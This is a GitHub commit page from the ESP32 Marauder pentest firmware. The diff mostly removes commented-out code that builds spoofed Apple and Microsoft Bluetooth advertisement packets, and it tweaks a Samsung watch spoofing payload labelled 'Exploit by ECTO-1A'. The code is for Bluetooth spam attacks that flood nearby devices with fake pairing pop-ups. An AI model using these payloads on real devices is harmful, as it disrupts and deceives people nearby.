Skip to content

Commit

Permalink
Remove old BT spam methods
Browse files Browse the repository at this point in the history
  • Loading branch information
justcallmekoko committed Nov 26, 2023
1 parent d576011 commit 6ed4f02
Show file tree
Hide file tree
Showing 4 changed files with 38,136 additions and 37,977 deletions.
65 changes: 4 additions & 61 deletions esp32_marauder/WiFiScan.cpp
Original file line number Diff line number Diff line change
Expand Up @@ -27,7 +27,7 @@ extern "C" {
//Exploit by ECTO-1A
NimBLEAdvertising *pAdvertising;

//// Spooky
//// https://github.com/Spooks4576
NimBLEAdvertisementData WiFiScan::GetUniversalAdvertisementData(EBLEPayloadType Type) {
NimBLEAdvertisementData AdvData = NimBLEAdvertisementData();

Expand Down Expand Up @@ -84,7 +84,7 @@ extern "C" {

uint8_t model = watch_models[rand() % 25].value;

AdvData_Raw[i++] = 15; // Size
AdvData_Raw[i++] = 14; // Size
AdvData_Raw[i++] = 0xFF; // AD Type (Manufacturer Specific)
AdvData_Raw[i++] = 0x75; // Company ID (Samsung Electronics Co. Ltd.)
AdvData_Raw[i++] = 0x00; // ...
Expand All @@ -101,6 +101,7 @@ extern "C" {
AdvData_Raw[i++] = (model >> 0x00) & 0xFF; // Watch Model / Color (?)

AdvData.addData(std::string((char *)AdvData_Raw, 15));

break;
}
case Google: {
Expand All @@ -117,66 +118,8 @@ extern "C" {

return AdvData;
}
//// Spooky

// Apple
/*NimBLEAdvertisementData getOAdvertisementData() {
NimBLEAdvertisementData randomAdvertisementData = NimBLEAdvertisementData();
uint8_t packet[17];
uint8_t size = 17;
uint8_t i = 0;
packet[i++] = size - 1; // Packet Length
packet[i++] = 0xFF; // Packet Type (Manufacturer Specific)
packet[i++] = 0x4C; // Packet Company ID (Apple, Inc.)
packet[i++] = 0x00; // ...
packet[i++] = 0x0F; // Type
packet[i++] = 0x05; // Length
packet[i++] = 0xC1; // Action Flags
const uint8_t types[] = { 0x27, 0x09, 0x02, 0x1e, 0x2b, 0x2d, 0x2f, 0x01, 0x06, 0x20, 0xc0 };
packet[i++] = types[rand() % sizeof(types)]; // Action Type
esp_fill_random(&packet[i], 3); // Authentication Tag
i += 3;
packet[i++] = 0x00; // ???
packet[i++] = 0x00; // ???
packet[i++] = 0x10; // Type ???
esp_fill_random(&packet[i], 3);
randomAdvertisementData.addData(std::string((char *)packet, 17));
return randomAdvertisementData;
}*/

// Microsoft
/*NimBLEAdvertisementData getSwiftAdvertisementData() {
extern WiFiScan wifi_scan_obj;
NimBLEAdvertisementData randomAdvertisementData = NimBLEAdvertisementData();
const char* display_name = wifi_scan_obj.generateRandomName();
uint8_t display_name_len = strlen(display_name);
uint8_t size = 7 + display_name_len;
uint8_t* packet = (uint8_t*)malloc(size);
uint8_t i = 0;
packet[i++] = size - 1; // Size
packet[i++] = 0xFF; // AD Type (Manufacturer Specific)
packet[i++] = 0x06; // Company ID (Microsoft)
packet[i++] = 0x00; // ...
packet[i++] = 0x03; // Microsoft Beacon ID
packet[i++] = 0x00; // Microsoft Beacon Sub Scenario
packet[i++] = 0x80; // Reserved RSSI Byte
for (int j = 0; j < display_name_len; j++) {
packet[i + j] = display_name[j];
}
i += display_name_len;
randomAdvertisementData.addData(std::string((char *)packet, size));
free(packet);
free((void*)display_name);
//// https://github.com/Spooks4576

return randomAdvertisementData;
}*/

class bluetoothScanAllCallback: public BLEAdvertisedDeviceCallbacks {

Expand Down
Binary file modified esp32_marauder/build/esp32.esp32.d32/esp32_marauder.ino.bin
Binary file not shown.
Binary file modified esp32_marauder/build/esp32.esp32.d32/esp32_marauder.ino.elf
Binary file not shown.
Loading

0 comments on commit 6ed4f02

Please sign in to comment.